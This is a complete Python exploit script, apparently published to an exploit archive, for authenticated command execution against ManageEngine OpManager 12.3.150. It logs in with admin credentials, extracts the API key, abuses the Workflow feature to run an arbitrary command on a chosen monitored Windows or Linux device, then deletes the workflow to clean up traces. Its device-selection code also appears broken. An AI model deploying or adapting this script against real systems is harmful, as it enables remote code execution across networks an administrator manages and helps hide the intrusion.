#!/usr/bin/env python3 # Exploit Title: ManageEngine opManager Authenticated Code Execution # Google Dork: N/A # Date: 08/13/2019 # Exploit Author: @kindredsec # Vendor Homepage: https://www.manageengine.com/ # Software Link: https://www.manageengine.com/network-monitoring/download.html # Version: 12.3.150 # Tested on: Windows Server 2016 # CVE: N/A import requests import re import random import sys import json import string import argparse C_WHITE = '\033[1;37m' C_BLUE = '\033[1;34m' C_GREEN = '\033[1;32m' C_YELLOW = '\033[1;33m' C_RED = '\033[1;31m' C_RESET = '\033[0m' LOGIN_FAIL_MSG = "Invalid username and/or password." def buildRandomString(length=10): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(length)) def getSessionData(target, user, password): session = requests.Session() session.get(target) # Login Sequence randSid = random.uniform(-1,1) getParams = { "requestType" : "AJAX" , "sid" : str(randSid) } postData = { "eraseAutoLoginCookie" : "true" } session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams ) postData = { "loginFromCookieData" : "false", "ntlmv2" : "false", "j_username" : user, "j_password" : password } initialAuth = session.post( url = target + "/j_security_check", data = postData ) if LOGIN_FAIL_MSG in initialAuth.text: print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.") sys.exit(1) elif initialAuth.status_code != 200: print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.") sys.exit(1) apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text) apiKey = apiKeyReg.group(0).split('"')[1] return { "session" : session , "apiKey" : apiKey } def getDeviceList(target, session, apiKey): deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } ) devices = {} devicesJsonParsed = json.loads(deviceList.text) for row in devicesJsonParsed["rows"]: devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ] return devices def buildTaskWindows(target, session, apiKey, device, command): # Build Task taskName = buildRandomString() workFlowName = buildRandomString(15) jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":""" jsonData += '"' + taskName + '"' jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":""" jsonData += '"' + command + '"' jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":""" jsonData += '"' + workFlowName + '"' jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":[""" jsonData += '"' + device + '"' jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee""" jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y""" jsonData += """earlyMin":"0"},"criteriaDetails":{}}}""" makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData }) if "has been created successfully" in makeWorkFlow.text: print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow") else: print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .") sys.exit(1) return workFlowName def buildTaskLinux(target, session, apiKey, device, command): taskName = buildRandomString() workFlowName = buildRandomString(15) jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":""" jsonData += '"' + taskName + '"' jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":""" jsonData += '"' + command + '"' jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":""" jsonData += '"' + workFlowName + '"' jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":[""" jsonData += '"' + device + '"' jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee""" jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y""" jsonData += """earlyMin":"0"},"criteriaDetails":{}}}""" makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData }) if "has been created successfully" in makeWorkFlow.text: print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow") else: print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .") sys.exit(1) return workFlowName # Get the ID of the newly created workflow def getWorkflowID(target, session, apiKey, workflowName): getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey }) rbID = -100 workflowJsonParsed = json.loads(getID.text) for wf in workflowJsonParsed: if wf['name'] == workflowName: rbID = wf['rbID'] if rbID == -100: print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...") sys.exit(1) return rbID def getDeviceID(target, session, apiKey, rbID, device): getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID }) wfDevicesJsonParsed = json.loads(getDevices.text) wfDevices = wfDevicesJsonParsed["defaultDevices"] deviceID = list(wfDevices.keys())[0] return deviceID def runWorkflow(target, session, apiKey, rbID, device): targetDeviceID = getDeviceID(target, session, apiKey, rbID, device) print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .") workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 } ) if re.match(r"^\[.*\]$", workflowExec.text.strip()): print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!") else: print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.") sys.exit(1) deleteWorkflow(target, session, apiKey, rbID) print(f"{C_GREEN}[+]{C_RESET} Exploit complete!") def deleteWorkflow(target, session, apiKey, rbID): print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .") delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID }) def main(): parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.") parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)") parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.") parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.") parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.") args = parser.parse_args() insufficient_args = False if not args.u: print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.") insufficient_args = True if not args.t: print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.") insufficient_args = True if not args.p: print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.") insufficient_args = True if not args.c: print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.") insufficient_args = True if insufficient_args: sys.exit(1) sessionDat = getSessionData(args.t, args.u, args.p) session = sessionDat["session"] apiKey = sessionDat["apiKey"] devices = getDeviceList(args.t, session, apiKey) # if there's only one device in the OpManager instance, default to running commands on that device; # no need to ask the user. if len(devices.keys()) == 1: device = list(devices.keys())[0] else: print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:") print("") counter = 1 for key in devices.keys(): print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})") print("") while True: try: prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: " devSelect = int(input(prompt)) except KeyboardInterrupt: sys.exit(1) except ValueError: print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .") sys.exit(1) if devSelect < 1 or devSelect > len(list(devices.keys())): print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .") sys.exit(1) else: device = list(devices.keys())[counter - 1] break # don't hate, it works doesn't it? if "indows" in devices[device][1]: workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c) else: workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c) workflowID = getWorkflowID(args.t, session, apiKey, workflowName) runWorkflow(args.t, session, apiKey, workflowID, device) main()